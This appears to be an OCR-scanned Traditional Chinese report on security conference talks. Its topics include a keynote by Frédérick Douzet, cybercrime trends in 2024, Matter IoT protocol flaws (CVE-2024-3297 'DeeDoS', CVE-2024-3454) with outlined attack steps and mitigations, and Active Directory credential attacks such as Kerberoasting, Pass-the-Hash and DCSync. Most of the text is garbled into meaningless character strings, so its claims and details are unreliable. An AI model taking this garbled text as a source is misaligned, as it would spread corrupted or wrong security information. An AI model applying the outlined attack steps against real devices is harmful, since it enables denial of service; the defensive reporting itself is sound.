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=~ BONRIEZ A G HEUHER X EH
(—) FEEH—HGBUGHEZR FHYREEEZER (Keynote: Frédérick Douzet)
1~ BB/ r4H © Frédérick Douze BEARF ) UREHMIGBUAREET  JABIGECAHT
FEATHIFEEIRR (IFG Big=) EEMEREHIGBUET 0 (GEODE) EfE: -
2~ WAL ¢ AN > LR NI =R BUGTEZE TRV > DIk
KA PR H IR PV - SBE BB EEPINITE > AT T
R BRETLERE > JRET TS S R I - A - B
ERELURRAERE SRR - SRR > MR ZE B B R R
o HESEHRMECE « SORMHENE > REESSAISERTTIE - 7
REHR B AR T -
3~ EHEGME -
(1) HFBUAEZE M EEREZER] -
a MRS TR RER R B (BT - B T A REAR ARG - DU BB ER IR
FIH > SRS P ARt - TR R BU AR F 3 -
b RS BB R A Ry IR ¢ MRS ~ BB E T B & BUAR F -
S B A R PR - BEEIBUG ~ SORIES HAY -
o.M H AR - BRAEN = - SUE RS SR R - B
ARy FRIRE R (LS H 2R R -
(2) dEpaserp L) -
a BRPERTNAIYE « DEAMER-FaZEREEITE - P
BREBET o P LT RE LRGSR I > AR TS o Bl Rk
B -
b RS FAA(EINAY © RBSPEEILH CHIMERSARE R - SeiE (s 2
M o BSEARA R AL - TR BN E AR BB -
c. R B R R > SORE P OMERIZ TTLAIARA T % -
d. 4RSI EERATHRER © AT SRR G EAR ] > R E TR - B
B EHE - PRIz E A RER - BRECRABRS 22 RIHIBERL ~ L2 2R A 74
I
(3) 4P -
a MEEEIMEZ R - LB AR AESS - Ao 2 B R R -

b AR © RS SE TAE VAT - IR E RS s AN
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c. B EREZPREL © BIREAARCE AR 2= - By T2 FIRE -
d RN R ST A ¢ Gt A BB B > REENESE 0L
2 By -
(4) W7 R
asmarf] BGP “FEER > SrATadEs e A RE N - SRR B 2 L -
b B ~ R ECREEFRS] - R EUGEZE AT R A 2 ] -
cOMTRENFEZH R EETIHE - fm R AR 2 -
(5) BRI RS A
a PFRABUCR I E B E S ZE FEI RV 2 - e B BURTAA - TIsRMEa
o
b.oRFESHI S FAVER M - SEil ~ Bus ~ &FEAEgEZTTNE > 3
[EEfE L 2 ~ B2 TCHIAERE 22 ] -
c.E BT AT - BRESH VRIS ARSI - S IR 2 2 1

() FEHEHE2024FFTREEZIITE (Keynote: Fighting Cybercrime in 2024 )
1 ~ 5EE 44 ¢ Eric Preyssinet /& EBIEI R BB ~ JEBIN BG4 RE 25 [ 5] <504

FEIUTRELMEEE 27 2 S aREE o B 1998 — BRI IU TR TAF » Fost 2
FTEEARUTRAV TS TR M TR -
2~ WAl - SEE S T HAEERU IR IS S SRR o AR R SR SR R AR -
fitseEh 7 EESICIRAVESEIME « AETR(LAVAE - DURBUAB PRSI ek
BERHRF PIT IET B A PRI - S 0omal) T S PRV EE SN - ELFEEERAEDRT ~ B2 fo 5
HARRAVBEASESIE - MR 7 N LESEHERIUIRT AR > LUK
SIS —FTRAR T -
3~ ERMEE
(1) $EPRIUTRAYESE « MR LER ARG - BE R REENINE &
THYER > ErIUSERYID 2O H AR A e -
(2) FESSORES © SUATIFTR BB EER AT - AiEEIIAS ~ 874 - Biris
[l & VERH] ~ PSSR A -
(3) GTEAVERME: + BALEFT » ST SR AL R SUARRE R S BRI T S
HIUSEHE EE -
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4) ANTEZAYPREL © NS0 IR T I KRB R AT AR e AR
SRR E B SR H SRS SR S -

(5) THPGHEIE © bR T BUATTEISN - PG (A=
LUtshBhisk P SRR AU SRR A -

(6) BEHLEN - HRWEHA R ENEIILSE - FREEBEEAGESER
FRAE > S HEORATA 2B R (I ARE -

(7) BRI R« BRI SN ERMERIL IR AR E R - (B AN
AL ITIEIHY R -

(8) HERSILTE AT HARRE - 5 TR H R A e IR 2 UL -

AE) WHEER

[mip

(=) FEGHR -EFRZEME - Matter B GRAVRE (Breaking Matter:
Vulnerabilities in the Matter Protocol )
Matter &5 FH Connectivity Standards Alliance (CSA) FA2019F25#E - E1F &Y

B (1oT) s&fitettar— ~ Zé4 H O Mt - sl IPvo » WssEa
FEIRAATAIT > A6LoWPAN - IEEE 802.15.45% UDP > HEfR5 i~ FEiR g HaR el 7
EEVEME - 2RI > Matter HYS$ENG IR i 8 - TR AN BEHH L2 2R
> ATREEE R B PHET IS (DoS) Bkt &R © A SORARET Matter fohaHY
A~ LR~ OB TE B e B ORA -
1 ~ Matter fipafry 2=t B8 {F [ R
Matter A% OB BLAE
(1) Fabric : H—#H (S EARBIERVE ALY -
(2) Commissioning * FRFHTECH A Fabric HY4EFE -
(3) CASE ( Certificate Authenticated Session Establishment ) : E A RSB HY &5
FEILAE] o
(4) IPK (Integrity Protection Key ) * Se#&M (R - FINMERERHEI L 2 -
Matter 5% % 77548 Multicast DNS (mDNS ) #:fTHBEEH - Wi BB hms
TG - iR S EEE (multi-admin) B R BV EEEFESE
el — 5 fA
2 ~ Matter BYZZ20H
(1) CVE-2024-3297 (Delayed Denial of Service, DeeDoS ) : FJFH CASE Sigmal:{E
RINEARE - RE AT ERGRE - SEEHERFAERE - AR gsEs -
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(2) CVE-2024-3454 (F&FHE0wH) RN RE s I A S Fabric » X
B E s B M a iy I - B TRIEAA
3~ WEETFAEE
(1) DeeDoS H# :
a. HUE&7EM CASE Sigmal A -
b. FJFH mDNS-SD 5% ( Service Discovery Poisoning ) #E{ T g {FHE
c. FHEET CASE SigmalsfUS. - {HEHHY session slots HFER ©
d. HEREHIB AT H CASE » skfEEUr [ HEEafE | ARG -
e. BIERER{ZIL » ey A sE AR RS -
() s EUm B
a. RIEEREHERH -
b. JOA H%E Fabric
c. EREHEMEEIEMEELSERE (clusters) » FEULIERGELF AN -
4 ~ FESITRNE
(1) FF&kZE Matter 1.1 : FrhRANI58 CASE Wagay2eet: > Ei5E messageCounter
HIPREE
(2) B:% CASE SigmalEH A : B #EETE Sigmal HEEE - (R EEE MR
(3) EAERE 7 B el - Matter 1.2RRA 3G 5@ F AR - /DRI AT Y
A RTREME
(4) BRAAE TR © A Matter EfRIFEEGHAHGT (FRIL JA3/TA4) HcEa1%
AISEME -
5) FEfg B RETE « BUEREIEE RSN SDK - W EeF T2 AN -
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FEZ R R 8 - AR R B SN AR G R B S k] - AT iE
(FEHBORE RN EZE HE - A% "Black Hat Europe 2024 ) &zt T3P E %
ZAPERAfEE R TTZE - A AP Y B RN AT B RIS - DR L& P ERE )T -

HAT » A A B TR B AR B Bh T EERNE - EAREENTKIG IR E 2 [ 8
W8 IRMELS LR R LA a8 S AR R ST B - (R » sl mTHEE) T &
BN ES] PRAHEE R (Threat Hunting ) BB B R s ECAVBAEEE - 455
WS BB LB BUFERR 2 -

$HEDBEETLEE (Credential Attacks) » %1 Kerberoasting ~ Pass-the-Hash (PtH) % » %
st O] R ER A 22 IR FBges (MFA) #6 > DUBCDIRSE# S YRR - bt - ERUH
Windows Defender Credential Guard » DA 52 K 82 #1018 AS H #EHL NTLM Hash «

bR T Binipsgtkmlsh - Ars R E R i L SR R E B - DA IR
ey S BER] (C2) fEIfkes 1T B Im#R% - 1A% Microsoft Sentinel &z RITA (Real
Intelligence Threat Analytics ) SEHHERIH] > L3 F5%RE AT 1L DNS Bk ME AR A -

Active Directory (AD) 2B NE iR F &2 B HIELZ —  HIETREILS
JERATZ 4 B H] > DU B s - Horf - DCSync %22 —fdi i B Il 2 Y A
YRk BUEE A A 25 oK BB EL NTLM Hash © J g A& 2 " Replicating
Directory Changes ; R - 30 A A IEREIRAIRS > DUMECR AL B H 5 I 34 R
A AD HEFE SR -

P (Phishing) H2AZ R RIVEREF A — » RIELABSKRHER BT
HIVE LA b B THVE LR - G I 8 TR E R A TR <
AR —2b o e BRAU Y B LB 4R -

BT HEH R B E SRR AN - R A G RRE AT E B T2 MG (Penetration
Testing ) » DABREET; EEAERIHYARE - HIEBUFBEAL LSS Pass-the-Hash ~ NTLM % -
TR B R HIP R ) -

BEAN » SR BSHRRR AL T S EZEM ) (Zero Trust Architecture ) » 48 " fir/|ME
FRIFAN (Least Privilege Principle ) 2KFRHIMR FHEFR - HECREIEEL B RRIZE 248
A2 S = RE R AT H

BV F AR - BNEENMERE LT ERYE - A ASES S
EREH R ERET o INIE - FERRA] EFIP AN - 457 SIEM T HAGR(EEZE - WHEHC
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